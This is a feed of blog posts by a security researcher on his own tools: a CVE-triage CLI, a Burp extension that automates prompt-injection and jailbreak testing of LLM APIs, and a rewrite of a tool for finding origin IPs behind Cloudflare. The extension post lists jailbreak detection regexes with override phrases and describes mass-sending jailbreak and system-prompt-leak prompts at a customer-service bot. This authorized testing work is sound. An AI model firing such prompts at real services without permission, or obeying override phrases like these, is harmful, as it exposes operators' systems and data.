`X-Powered-By`, generator meta tags, and telltale body patterns for the common CMSes and frameworks. Then, for every component where it can pin a version, it runs the entire CVE pipeline from above, automatically, per technology.</p><p>A word on Wappalyzer, because it’s a tradeoff I went back and forth on. The Python port is unmaintained and occasionally flaky, and I got tired of it being the reason a fresh install failed. So in v5 it’s an optional extra rather than a hard dependency. The header and body fingerprinting is built in and works on its own; Wappalyzer, when installed, just makes detection richer. If you want the full experience:</p><blockquote>pip install -e “.[asset]”</blockquote><p>If you don’t, the base tool still fingerprints and still scans. Nothing breaks. I’d rather ship something that installs cleanly for everyone and degrades gracefully than something impressive in the demo and broken on someone’s machine.</p><p>Batch mode is where this gets genuinely useful for bug bounty and larger scopes:</p><blockquote>threattracer asset — file targets.txt — concurrency 5 — summarize</blockquote><p>The file is one URL per line, lines starting with `#` are ignored, and concurrency is bounded so you’re not opening a hundred connections to some poor origin server at once. It slots straight into the recon pipeline everyone already has:</p><blockquote>subfinder -d example.com -silent | sed ‘s|^|<a href="https://|&#39;">https://|&#39;</a> &gt; subs.txt<br>threattracer asset — file subs.txt -j 10 — severity critical,high -s</blockquote><p>That last command is the one I use most. Enumerate subdomains, fingerprint everything, scan every detected component for CVEs, filter to the stuff that’s actually critical or high, and summarize the lot. What used to be an afternoon is now something you run while you make coffee.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*byso-18YS-dSzeYmYEWpew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i3Yb4q2S1WAFZmwJsvlakQ.png" /><figcaption>Note: Terminal output truncated due to length.</figcaption></figure><p><strong>The part that’s new: deciding what matters</strong></p><p>Here’s the thing the first four versions never solved, and the reason v5 took as long as it did.</p><p>Even after you’ve collapsed eight sources into one command, you can still end up with a scan result that has forty CVEs in it. The friction of <strong>gathering</strong> is gone. But the friction of <strong>deciding</strong> is still there. You’re still reading forty descriptions, still holding four signals per CVE in your head, still trying to rank them into “patch this week” versus “note it and move on.”</p><p>That reading tax is real, and it’s the last twenty minutes I hadn’t killed.</p><p>So v5 does two things about it. The first is deterministic, and I trust it completely. The second is AI, and I want to be careful about how I describe it, because the security industry is currently drowning in tools that sprinkle a language model on top of a problem and call it innovation.</p><p><strong>The priority engine (this is the part that matters)</strong></p><p>Every CVE in a scan gets a priority score from 0 to 100. The score is a weighted blend of four independent, public signals:</p><p>-<strong> CISA KEV membership</strong> carries the most weight, because confirmed real-world exploitation beats every theoretical measure.<br>- <strong>EPSS</strong> contributes next, scaled by its probability, because “about to be exploited” is nearly as important as “being exploited.”<br>- <strong>CVSS base score</strong> contributes to theoretical severity.<br>- <strong>Exploit tooling maturity</strong> contributes based on what actually exists, a bare PoC scores lower than an Exploit-DB entry or a Nuclei template, which scores lower than a Metasploit module or a KEV listing.</p><p>The important word is <strong>deterministic</strong>. The same inputs always produce the same score. There’s no model, no randomness, no vibes. If a CVE scores 94, I can point at exactly why: it’s in KEV, EPSS says 94%, and there’s a working module. You can read the code, disagree with my weights, and change them. This is the source of truth in the tool, and it’s intentionally something you can audit line by line.</p><blockquote>threattracer scan -c struts -v 2.5.10 — summarize — top 15</blockquote><p>That gives you a ranked table. Highest priority at the top, with the signals that drove each score spelled out next to it. The ranking is defensible in a way that “sort by CVSS descending” never was, because it accounts for the difference between a scary number and an actual threat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yvdMoIM19WEzprfl7ghSKQ.png" /></figure><p>A priority score is decision support, not a verdict. It tells you where to look first. It doesn’t tell you what to do; that’s still your job, and it should be.</p><p><strong>The optional local AI, and why it’s optional</strong></p><p>Now the language model. I added it reluctantly, and I added it carefully.</p><p>The reason it’s there isn’t that AI is fashionable. It’s that a ranked table still asks the reader to synthesize. You look at fifteen rows, and you still have to write the sentence “the posture here is high, these three are the fire, here’s what I’d tell the client.” That synthesis is exactly the kind of narrow, well-scoped summarization task that a small local model is genuinely good at, and it’s exactly the kind of tedious writing that eats the end of an assessment.</p><p>So ` — summarize` also produces a plain-language briefing. Overall risk posture in a sentence or two. Which specific CVEs to investigate first and why, drawn from the deterministic signals. Brief, defensive next steps: verify, patch, mitigate, monitor.</p><p>And here is the part I care about most: <strong>everything runs locally.</strong></p><blockquote>threattracer doctor</blockquote><p>Run that, and it’ll tell you, among other things, whether it can see a local model. The briefing talks to Ollama by default, or to any OpenAI-compatible server - llama.cpp, LM Studio, vLLM, whatever you’re already running. Point it wherever your model lives:</p><blockquote>threattracer config — llm-provider ollama — llm-model llama3.2</blockquote><p>No cloud API. No key to leak. No scan results, which, on a real engagement, are among the most sensitive artifacts you’ll ever hold, leaving your machine and landing in someone’s training pipeline. I was not going to build a pentesting tool that phones home with a client’s vulnerability inventory, and if you’ve read a vendor privacy policy lately, you understand why that was a hard line.</p><p>If no model is reachable, it doesn’t error. It falls back to a deterministic heuristic summary built from the same triage data. A scan never fails because the LLM is down, and it never blocks waiting on a model that isn’t there. The AI is an enhancement layer, not a dependency.</p><blockquote>threattracer scan — cve CVE-2021–44228 -s — report log4shell.html</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rTTZ0anVzTOgfhqdOuZatw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jvkpf0Zk79_ZX8x7-YbAzg.png" /><figcaption>log4shell.html: Sample Report generated by previous command</figcaption></figure><p>The distinction I keep coming back to is this: the model assists triage, it does not replace judgment. The deterministic score is the truth. The briefing is a first draft of your thinking, not a substitute for it. I constrained the prompt hard it’s given the structured findings and asked to summarize and prioritize using only what’s there, and explicitly told not to invent CVEs or scores and not to write exploit code. It’s a reporting aid, not an oracle, and treating it as an oracle is how people end up pasting confident nonsense into a client deliverable.</p><p>AI that summarizes your findings is useful. AI that makes your decisions is a liability wearing a helpful costume. ThreatTracer is firmly the first thing.</p><p><strong>The unglamorous features that make it usable</strong></p><p>Tools live or die on the boring parts. The stuff nobody demos.</p><p><strong>Reports</strong>. When you’re done, you usually need to hand something to someone.</p><blockquote>threattracer asset <a href="https://target.com/">https://target.com</a> -s — report target.html</blockquote><p>Markdown or HTML, inferred from the extension. The HTML is a single self-contained file with inline CSS that prints cleanly to PDF straight from the browser, which is deliberately low-tech. I didn’t want a headless-Chrome dependency or a templating engine or a report server. A file you can open, read, and print. It carries the executive briefing, the at-a-glance metrics, the prioritized findings table, and the full per-CVE detail. It’s the artifact that turns “I looked at this” into “here’s what I found.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*bDhoYz6o34nGZlVdf5iDfg.png" /><figcaption>report.html</figcaption></figure><p><strong>The doctor command.</strong> Half the support questions for any CLI tool are really environment questions. Is my API key set? Can I even reach NVD? Why is this slow? So `threattracer doctor` checks all of it in one shot API key status, reachability of NVD and EPSS and KEV and GitHub, where the cache lives, and whether a local model is available for summaries. Run it first when something feels off and it’ll usually tell you the answer before you’ve finished forming the question. It’s the single most-used command I never expected people to use.</p><p><strong>Configuration and keys.</strong> NVD works without a key but rate-limits you hard, and GitHub PoC search is nearly useless unauthenticated. You can pass keys per-command, set environment variables, or store them once:</p><blockquote>threattracer config — nvd-key YOUR_KEY — github-token YOUR_TOKEN</blockquote><p>After that they’re loaded automatically. The config also holds your LLM preferences so you set the model once and forget it. Precedence is the sane thing: an explicit flag beats an environment variable beats the stored config beats the default.</p><p><strong>Caching and syncing.</strong> Everything remote is cached in SQLite for six hours, so repeated lookups in an assessment are instant and you’re a good citizen toward the free APIs you depend on. When you want fresh data:</p><blockquote>threattracer cache-cmd — purge-expired<br>threattracer sync</blockquote><p>The first clears stale entries, the second force-refreshes the Exploit-DB index. Small commands, but they’re the difference between a tool that respects your time and one that re-downloads a fifteen-megabyte CSV on every run.</p><p>None of this is exciting. All of it is why the tool is still on my machine six months later instead of in the graveyard of clever scripts I’ve abandoned.</p><p><strong>What it isn’t</strong></p><p>I think it’s worth being clear about the boundaries, partly out of honesty and partly because overselling is how tools lose trust.</p><p>ThreatTracer is an intelligence and triage tool. It aggregates public data NVD, EPSS, KEV, Exploit-DB, Trickest, GitHub, Vulhub, Nuclei, Metasploit metadata and it prioritizes what it finds. It does not exploit anything. It won’t generate an exploit, it won’t verify one by firing it at a target, and the AI layer is explicitly prevented from writing offensive code. When it finds a Nuclei template or a Metasploit module, it hands you the command to run it yourself, deliberately, against something you’re authorized to touch. The judgment about whether and how to pull that trigger stays where it belongs, which is with you.</p><p>It’s also not a scanner in the Nessus sense. It doesn’t crawl, it doesn’t do authenticated deep inspection, it doesn’t manage a vulnerability lifecycle. It answers a narrower question faster than anything else I’ve used: given this thing, what’s known about it, and does it matter? For everything past that answer, you’re back to being a professional, which is the point.</p><p>And the fuzzy CPE matching, as I said, is imperfect. Fingerprinting can miss versions behind a WAF or a CDN. EPSS and KEV are only as current as their feeds. It’s a tool built by someone who ran assessments, for people who run assessments, and it assumes you’ll apply the same skepticism to its output that you’d apply to any single source. It’s meant to save you the gathering, not the thinking.</p><p><strong>Try it on the next CVE somebody drops in Slack</strong></p><p>I built ThreatTracer because I was tired of opening eight browser tabs every time someone dropped a CVE ID into Slack. That’s the whole origin story. There’s no grand vision, no platform play, no roadmap deck. There was a repetitive twenty-minute ritual that stood between me and a one sentence answer, and I wanted it gone.</p><p>Version 5 is the version where I finally think it’s gone. The gathering is one command. The ranking is deterministic and defensible. The summary writes its own first draft, locally, without leaking anything. And the whole thing installs cleanly and fails gracefully, which are the two properties that decide whether a tool becomes part of someone’s actual workflow or just a repo they starred once.</p><p>If you run assessments, do bug bounty, or you’re the person on the blue team who gets pinged every time a CVE trends, clone it and point it at the last thing that made you open all those tabs:</p><blockquote>threattracer scan — cve CVE-2021–44228 — summarize</blockquote><p>Then run `threattracer doctor`, wire up your keys, and if you’ve got Ollama around, give it a model and watch it write the summary you’d have written anyway just faster, and without ever leaving your laptop.</p><p><strong>It’s open source</strong>. It’s on <a href="https://github.com/anmolksachan/ThreatTracer">GitHub</a>. Break it, file issues, disagree with my priority weights and send a pull request that fixes them. The best thing that can happen to a tool like this is that people who triage more vulnerabilities than I do tell me where it’s wrong.</p><blockquote>The CVE is still going to land in the channel tomorrow. At least now the answer takes thirty seconds.</blockquote><blockquote>ThreatTracer is an open-source CVE intelligence, exploit-hunting, and risk-prioritization CLI for penetration testers, red teams, and bug bounty hunters. It unifies NVD, EPSS, CISA KEV, Exploit-DB, Nuclei, and Metasploit intelligence into a single command, adds a deterministic risk-prioritization engine, and offers optional local-AI triage summaries through Ollama or any OpenAI-compatible server with everything running on your own machine.</blockquote><p>Topics: vulnerability intelligence, CVE scanner, exploit intelligence, EPSS, CISA KEV, Nuclei, Metasploit, risk prioritization, local AI, security automation, web security, and pentesting workflow.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94fb683b946e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built a Burp Suite Extension to Automate LLM Prompt Injection Testing]]></title>
            <link>https://anmolksachan.medium.com/i-built-a-burp-suite-extension-to-automate-llm-prompt-injection-testing-b4add8a11774?source=rss-b89a768e4b30------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4add8a11774</guid>
            <dc:creator><![CDATA[Anmol K Sachan]]></dc:creator>
            <pubDate>Tue, 10 Mar 2026 06:48:17 GMT</pubDate>
            <atom:updated>2026-03-10T17:44:34.968Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V5K3UhYRHlKOgYFV" /></figure><h3>Because manually fuzzing AI APIs in 2026 is table stakes, and we deserve better tooling.</h3><p><em>By </em><a href="https://www.linkedin.com/in/anmolksachan"><em>Anmol K Sachan</em></a><em> (@</em><a href="https://x.com/FR13ND0x7F/"><em>FR13ND0x7f</em></a><em>) · Security Researcher</em></p><p>I’ve been doing a lot of AI/LLM security assessments over the past year. Every engagement has the same frustrating moment: you’ve got a target API that’s backed by GPT-4, Claude, or some internal model, and you’re sitting there manually copy-pasting jailbreak prompts into Burp Repeater one by one, editing JSON by hand, hoping you don’t accidentally break the request structure.</p><p>After the fourth engagement doing this, I decided to build something better.</p><p><strong>LLM Injector</strong> is a Burp Suite extension that automates prompt injection testing against any HTTP endpoint talking to a Large Language Model. It handles the messy parts, request structure, JSON escaping, Unicode, OData payloads, and Content-Length headers so you can focus on actually finding vulnerabilities.</p><h3>The Problem with Manual LLM Testing</h3><p>When you’re testing a traditional web app for SQLi or XSS, you have Intruder, you have scanner plugins, you have a decade of tooling. When you’re testing an LLM API for prompt injection? You mostly have your hands and a notepad of payloads.</p><p>The technical challenges that make this annoying:</p><p><strong>1. JSON structure breaks easily</strong> LLM APIs almost always speak JSON. When you inject a prompt that contains literal newlines (\n), quotes (&quot;), backslashes, or Unicode curly quotes (&#39; &quot; &quot;), naive string substitution corrupts the JSON. The server returns a 400 and you get nothing.</p><p><strong>2. Deeply nested payloads</strong> Not all LLMs are hit via simple {&quot;prompt&quot;: &quot;...&quot;} bodies. odata, for example, sends a payload like this:</p><pre>{<br>  &quot;requestv2&quot;: {<br>    &quot;@odata.type&quot;: &quot;#odata&quot;,<br>    &quot;$customConfig&quot;: {<br>      &quot;prompt&quot;: [{ &quot;type&quot;: &quot;literal&quot;, &quot;text&quot;: &quot;Hello&quot; }]<br>    }<br>  }<br>}</pre><p>That’s three levels deep, inside an OData envelope, with @odata.type annotations that must <em>never</em> be touched. A generic fuzzer will either miss the injection point or blow up the whole request.</p><p><strong>3. Volume</strong> There are hundreds of viable jailbreak, leak, and injection prompts. Testing them manually is how you miss the 47th one that actually works.</p><h3>What LLM Injector Does</h3><p>The extension adds an <strong>LLM Injector</strong> tab to Burp Suite with four sub-tabs: Prompts, Scanner, Results, and Config.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CxqjQWbBGE8g72uz" /></figure><p>Here’s the core workflow:</p><h3>Step 1 — Load Your Prompts</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*pnyJOpdv8ap2m9ipczxt8Q.png" /></figure><p>Hit <strong>Fetch GitHub,</strong> and the extension pulls 200+ categorised prompts from the <a href="https://github.com/CyberAlbSecOP/Awesome_GPT_Super_Prompting">Awesome GPT Super Prompting</a> repository by CyberAlbSecOP, jailbreaks, system prompt leak payloads, security bypass chains, the works.</p><p>You can also upload your own .md or .txt files, or write custom prompts directly in the UI. Everything gets saved locally in Burp&#39;s extension settings, so your library persists across sessions without re-fetching.</p><h3>Step 2 — Send a Request</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8lPCO9_gFqAKtp5H" /></figure><p>Right-click any request in Proxy, Repeater, or Target → <strong>Extensions → Send to LLM Injector</strong>. The request loads into the Scanner tab editor, fully editable.</p><h3>Step 3 — Mark Your Injection Point</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XmKuZG4I_PcFh7J_" /></figure><p>This is the part I’m most happy with. Instead of guessing which field to inject into, you <strong>select the value</strong> in the request editor and click <strong>Add Marker</strong>:</p><pre>Before:  &quot;prompt&quot;: &quot;What is the weather today?&quot;<br>After:   &quot;prompt&quot;: &quot;§What is the weather today?§&quot;</pre><p>That § syntax is borrowed straight from Burp Intruder, familiar to anyone who&#39;s used it. During scanning, everything between the markers gets replaced with each prompt from your library.</p><p>If you skip this step, the engine falls back to <strong>Auto Mode,</strong> it parses the JSON, recursively walks the structure, and injects into any field matching a configurable list (prompt, messages, input, text, query, etc.).</p><h3>Step 4 — Start the Scan</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PUPC4zsTdfLUIGm1" /></figure><p>Pick your categories (Jailbreaks, Leaks, Super Prompts, etc.), set a repeat count if you want each prompt sent multiple times (useful for non-deterministic models), and hit Start.</p><p>The engine fires every prompt, logs every response, and highlights matches in the Results tab.</p><h3>The Engineering Bit — Why It Doesn’t Break Requests</h3><p>This was the hard part. The naive approach to prompt injection tooling is:</p><pre>new_body = body.replace(&#39;&quot;prompt&quot;: &quot;original&quot;&#39;, &#39;&quot;prompt&quot;: &quot;&#39; + evil_prompt + &#39;&quot;&#39;)</pre><p>This works until your evil prompt contains a &quot; or a \n and you&#39;ve just produced invalid JSON. The server rejects it. You get a false negative.</p><p>LLM Injector takes a different approach:</p><p><strong>1. Parse, don’t splice</strong></p><p>The body is parsed with json.loads() into a Python dictionary. The target field is modified as a Python string assignment. Then json.dumps(data, ensure_ascii=False) serialises it back. Python&#39;s JSON encoder handles all escaping automatically, quotes become \&quot;, newlines become \n, backslashes become \\, Unicode stays as-is. No broken JSON, ever.</p><p><strong>2. Sentinel-based marker resolution</strong></p><p>When markers (§...§) are present, the engine first replaces them with a safe ASCII sentinel string (__LLM_INJ_SENTINEL_7f3a9b__), parses the body as JSON (the sentinel won&#39;t break anything), finds the field path containing the sentinel, then does the Python string assignment. This means the marker can sit inside any JSON string at any depth, even inside a JSON-encoded-string value (the OData source field pattern).</p><p><strong>3. OData protection</strong></p><p>Keys starting with @ (OData annotations like @odata.type) and schema-reserved keys (version, modelType, formats) are in a skip list and never touched.</p><p><strong>4. Mandatory round-trip validation</strong></p><p>After every injection, the result is run through json.loads() again. If it fails, that variant is logged as skipped, and the scan continues. No silent bad requests.</p><p><strong>5. Correct Content-Length</strong></p><p>After injection, the body length changes. The extension recalculates and updates the Content-Length header before sending. This is one of those &quot;obvious in hindsight&quot; things that breaks half of all manual approaches.</p><h3>The Results Tab — Show Everything</h3><p>One design decision I made early: <strong>always record the result, whether it matched or not</strong>.</p><p>A lot of security tools only show you the “interesting” findings. For LLM testing, seeing the clean responses is often as valuable as the matches — you learn what the model is doing, how it’s formatted, whether there’s error handling, what the response time distribution looks like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qW166mUNNYujtLjd" /></figure><p>Every request gets logged with:</p><ul><li>Full injected request</li><li>Full raw response</li><li>Severity classification (Critical / High / Medium / Low / Info / Tested)</li><li>Whether the response matched any detection pattern</li></ul><p>Export everything to JSON for reporting with one click.</p><h3>Detection Patterns — How Findings Are Classified</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*1mvBp7SBN-e73KYz7WbJIA.png" /></figure><p>The extension uses regex patterns to score responses. A match = potential injection success. The defaults cover the most common jailbreak indicators:</p><pre>i am now (in )?dan<br>as an? ai without any restrictions<br>jailbreak(ed|ing)?<br>\bsystem prompt\b<br>ignore (previous|all|my) instructions<br>developer mode<br>bypass.*(filter|restrict|safeguard)<br>override.*(system|instruction|protocol)</pre><p>All of these are configurable. If you’re testing a specific model with known response patterns, you can tune these to be much more precise.</p><h3>Real-World Use Case: odata</h3><p>The most interesting target I’ve used this against is Odata, their AI-powered customer service bot platform. The API request structure is about as far from a simple {&quot;prompt&quot;: &quot;...&quot;} as you can get:</p><pre>{<br>  &quot;version&quot;: &quot;2.0&quot;,<br>  &quot;source&quot;: &quot;{ \&quot;consumptionSource\&quot;: \&quot;Api\&quot;, \&quot;partnerSource\&quot;: \&quot;odata\&quot; }&quot;,<br>  &quot;requestv2&quot;: {<br>    &quot;@odata.type&quot;: &quot;#odata&quot;,<br>    &quot;$customConfig&quot;: {<br>      &quot;@odata.type&quot;: &quot;#odata&quot;,<br>      &quot;prompt@odata.type&quot;: &quot;#Collection(odata)&quot;,<br>      &quot;prompt&quot;: [<br>        {<br>          &quot;@odata.type&quot;: &quot;#odata&quot;,<br>          &quot;type&quot;: &quot;literal&quot;,<br>          &quot;text&quot;: &quot;Hello, how can I help?&quot;<br>        }<br>      ],<br>      &quot;modelParameters&quot;: {<br>        &quot;@odata.type&quot;: &quot;#odata&quot;,<br>        &quot;modelType&quot;: &quot;gpt-41-mini&quot;,<br>        &quot;gptParameters&quot;: {<br>          &quot;temperature&quot;: 0<br>        }<br>      }<br>    }<br>  }<br>}</pre><p>Notice:</p><ul><li>source is a <strong>JSON string containing more JSON</strong> — the engine handles this via double-parse</li><li>@odata.type appears six times — all skipped</li><li>The actual injection target is requestv2.$customConfig.prompt[0].text — three levels down inside a list inside a nested object</li></ul><p>Without proper tooling, you’d be manually editing this and inevitably breaking the @odata.type annotations or the embedded JSON in source, getting a 0x80048d19 Stream was not readable error, and wondering what went wrong.</p><p>With LLM Injector: select the text value, add a marker, and start scanning. Done.</p><h3>Installation</h3><p>You need Burp Suite (Community or Pro) and Jython Standalone 2.7.x.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*LjbG8oz0I0f9tm8Wk27AeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tt85SF0WDSm1sRo43L1c9Q.png" /></figure><pre>1. Burp → Extender → Options → Python Environment → set Jython JAR path</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fM5_u8R90IivOyOQ" /></figure><pre>2. Burp → Extender → Extensions → Add<br>   Type: Python<br>   File: LLM_Injector.py</pre><pre>3. The &quot;LLM Injector&quot; tab appears in the main Burp tab bar</pre><p>The full code, README, and screenshots are on GitHub: <a href="https://github.com/anmolksachan/LLMInjector"><strong>https://github.com/anmolksachan/LLMInjector</strong></a></p><h3>What’s Next</h3><p>Things I’m planning to add:</p><ul><li><strong>Burp Collaborator integration</strong> — detect out-of-band exfiltration from injected prompts</li><li><strong>Response diffing</strong> — highlight exactly what changed between the baseline response and the injected response</li><li><strong>Rate-aware throttling</strong> — auto-detect 429s and back off intelligently</li><li><strong>Prompt scoring</strong> — rank prompts by historical success rate across scans</li><li><strong>Multi-target mode</strong> — run the same prompt set against a batch of captured requests</li></ul><p>If you have feature requests, find bugs, or want to contribute prompt payloads, open an issue or PR on <a href="https://github.com/anmolksachan/LLMInjector">GitHub</a>.</p><h3>Closing Thoughts</h3><p>AI is being bolted onto everything right now: customer service bots, internal knowledge bases, code assistants, enterprise workflows. Most of it is being deployed by teams that have never thought about prompt injection, that don’t know their OData endpoint leaks the system prompt to anyone who asks nicely, that assume the model will “just refuse” bad input.</p><p>It won’t. Not reliably. Not without testing.</p><p>I built this tool because I wanted to do this testing properly and at scale. I’m releasing it because the security community deserves tooling that keeps pace with the attack surface.</p><p>Go find some bugs. Just make sure you have permission first.</p><p><em>Anmol K Sachan | Security Researcher | @</em><a href="https://github.com/anmolksachan/"><em>FR13ND0x7f</em></a><em> | </em><a href="https://linkedin.com/in/anmolksachan/"><em>LinkedIn</em></a><em> | </em><a href="https://x.com/FR13ND0x7F/"><em>X</em></a></p><p><strong>Tags:</strong> cybersecurity penetration-testing burp-suite artificial-intelligence llm-security prompt-injection appsec jailbreak security-tools ai-security</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4add8a11774" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CloudFail v2: Finding the Real IP Behind Cloudflare (And Why the Old Tool Was Broken)]]></title>
            <link>https://anmolksachan.medium.com/cloudfail-v2-finding-the-real-ip-behind-cloudflare-and-why-the-old-tool-was-broken-984c216c6062?source=rss-b89a768e4b30------2</link>
            <guid isPermaLink="false">https://medium.com/p/984c216c6062</guid>
            <dc:creator><![CDATA[Anmol K Sachan]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 21:15:30 GMT</pubDate>
            <atom:updated>2026-02-25T19:17:55.104Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JNotbTP-k3t1AVug" /></figure><p>So I’ve been doing a lot of recon work lately and kept running into the same wall, Cloudflare. Great for the people running sites, genuinely annoying for those of us doing authorized pen tests. The classic move is to look for origin IP leaks, and for years, CloudFail was the go-to tool for that. The problem is, the original version by m0rtem basically stopped working. crt.sh timeouts, DNSDumpster throwing CSRF errors, BufferOver returning 403s. You’d run it and get a wall of red.</p><p>That’s what pushed me toward CloudFail v2.</p><p>So I picked up the project and did a proper rebuild, not a cosmetic update, an actual ground-up rewrite. I spent a weekend with it, and honestly, it’s a different tool.</p><p><strong>What was actually broken in v1</strong></p><p>The original used a brittle DNSDumpster scraper that relied on parsing CSRF tokens from HTML. The moment DNSDumpster changed its layout, which they did, the whole thing died. BufferOver went 403-only at some point. crt.sh queries had no retry logic, so a single 502 would kill the run. AlienVault OTX would 429 you, and that was that, scan over.</p><p>None of these failures was graceful. It just crashed.</p><p><strong>What v2 actually fixes</strong></p><p>The HTTP layer is completely different now. Everything goes through a central session with proper retry logic, five attempts, exponential backoff, covers 429s and 502s, and the full 5xx range. So when crt.sh hiccups, the tool waits, retries, and moves on instead of dying.</p><p>DNSDumpster scraping is just gone. Replaced with sources that actually work: AnubisDB, RapidDNS, ThreatMiner, URLScan, and the Wayback CDX API. crt.sh is still there, but now with dual query paths and proper backoff. CertSpotter is the primary CT source. Seven passive sources running concurrently, so even if two or three are having a bad day, you still get data.</p><p>The OTX fix is something I specifically appreciated. It detects the 429, backs off four seconds, then eight, then skips entirely and logs a warning. Scan keeps running. That’s how it should work.</p><p>Censys v2 was another broken one in a lot of tools. The old SDK-based approach had redirect issues. v2 talks to the REST API directly, handles 302s properly, and gives you meaningful error messages if your credentials are wrong or your plan doesn’t cover the query.</p><p><strong>Running it</strong></p><pre>pip install -r requirements.txt<br>python -m cloudfail -t target.com --confirm-scope</pre><p>With API keys:</p><pre>python -m cloudfail -t target.com --censys-api-token YOUR_TOKEN --shodan-api YOUR_KEY --confirm-scope</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IdunXKWQEFoxTTcarFggJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wMBMiJVDzEPJCLSgXYcYgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sf8wCk32TGlkdiD63xCWRg.png" /></figure><p>Note: put it all on one line or be very careful with your shell’s line continuation. Trailing spaces after backslashes will silently break the command in zsh.</p><p>--passive-only skips the subdomain wordlist brute force if you just want the quick passive pass. --debug gives you full HTTP traces if something isn&#39;t working. --quiet plus --output json is what I use when piping results into something else.</p><p><strong>Does it actually find origins?</strong></p><p>On my authorized targets, yeah. The passive DNS aggregation across multiple sources catches historical IPs that predate Cloudflare being added. Subdomains that were never proxied — mail servers, staging environments, internal-facing stuff — show up through CT logs. The Wayback CDX source is underrated; it pulls historical URLs, and you’d be surprised what was resolving to a bare IP two years ago.</p><p>The ASN enrichment in phase four is a nice touch. Non-CF IPs get looked up, classified, and given a confidence score. Not perfect, but useful for triaging a large result set quickly.</p><p><strong>Where to get it</strong></p><p>v2 (the rewrite): <a href="https://github.com/anmolksachan/CloudFail/">https://github.com/anmolksachan/CloudFail/</a></p><p>Original v1 if you’re curious what it looked like before: <a href="https://github.com/m0rtem/CloudFail.git">https://github.com/m0rtem/CloudFail.git</a></p><p>Worth starring the v2 repo. It’s the only version of this tool I’d actually use for anything real right now.</p><p><em>Standard disclaimer applies; only run this against targets you have explicit written authorization to test. Cloudflare also has ToS around this kind of discovery, so be aware of the context you’re operating in.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=984c216c6062" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Six Browser Tabs and a Spreadsheet. There Had to Be a Better Way.]]></title>
            <link>https://anmolksachan.medium.com/six-browser-tabs-and-a-spreadsheet-there-had-to-be-a-better-way-6575f6b0f0c7?source=rss-b89a768e4b30------2</link>
            <guid isPermaLink="false">https://medium.com/p/6575f6b0f0c7</guid>
            <dc:creator><![CDATA[Anmol K Sachan]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 07:16:34 GMT</pubDate>
            <atom:updated>2026-02-20T07:16:34.930Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*399IiFr8Yc00jXQz1DyH2w.png" /></figure><p><em>ThreatTracer does in one command what used to take me 40 minutes of manual lookups.</em></p><p>Late into a pentest engagement last year, I found myself doing something embarrassing. I had discovered that the target was running an older version of Apache Struts, the kind of version that makes your eyes go wide because you know the history. So I opened NVD in one tab. Exploit-DB in another. GitHub in a third. Sploitus in a fourth. I had the CISA KEV catalog bookmarked because I’d started checking it manually after a client asked me if a vulnerability was “actively exploited” and I didn’t have a fast answer. Then I needed to check if there was a Nuclei template so I could actually confirm the finding before writing it up.</p><p>Six tabs. A bunch of copy-pasting CVE IDs back and forth. A running notes document where I was manually tracking which CVEs had working PoCs and which didn’t. And this was for <em>one</em> component on <em>one</em> host.</p><p>I’m not proud of how long that took. But I also suspect it’s exactly what most people doing this work are doing, because the data exists across a dozen different places and nobody had built a single tool that pulled it all together.</p><p>ThreatTracer is that tool. And this post is a proper walkthrough of how to actually use it, not just the happy path, but the filtering, the piping, the batch scanning, all of it.</p><h3>Before We Get Into It</h3><p>ThreatTracer was originally created by <strong>@</strong><a href="https://www.linkedin.com/in/anmolksachan"><strong>FR13ND0x7F</strong></a><strong> (Me)</strong>, <a href="https://www.linkedin.com/in/deepak-dhasmana/"><strong>@0xCaretaker</strong></a>, and <a href="https://www.linkedin.com/in/meppo/"><strong>@meppohak5</strong></a>. The version we’re covering here, v4.1, is a major architectural rewrite of the old version, adding async scanning, CISA KEV integration, Nuclei template lookup, Metasploit module discovery, and the new asset scanning feature. The GitHub is at <a href="https://github.com/anmolksachan/ThreatTracer.">https://github.com/anmolksachan/ThreatTracer.</a></p><h3>What It Actually Does (The Short Version)</h3><p>You give ThreatTracer one of three things (PS it does a lot more):</p><ul><li>A product name and version (apache, 2.4.51)</li><li>A live URL (https://target.com)</li><li>A CVE ID (CVE-2021-44228)</li></ul><p>It returns 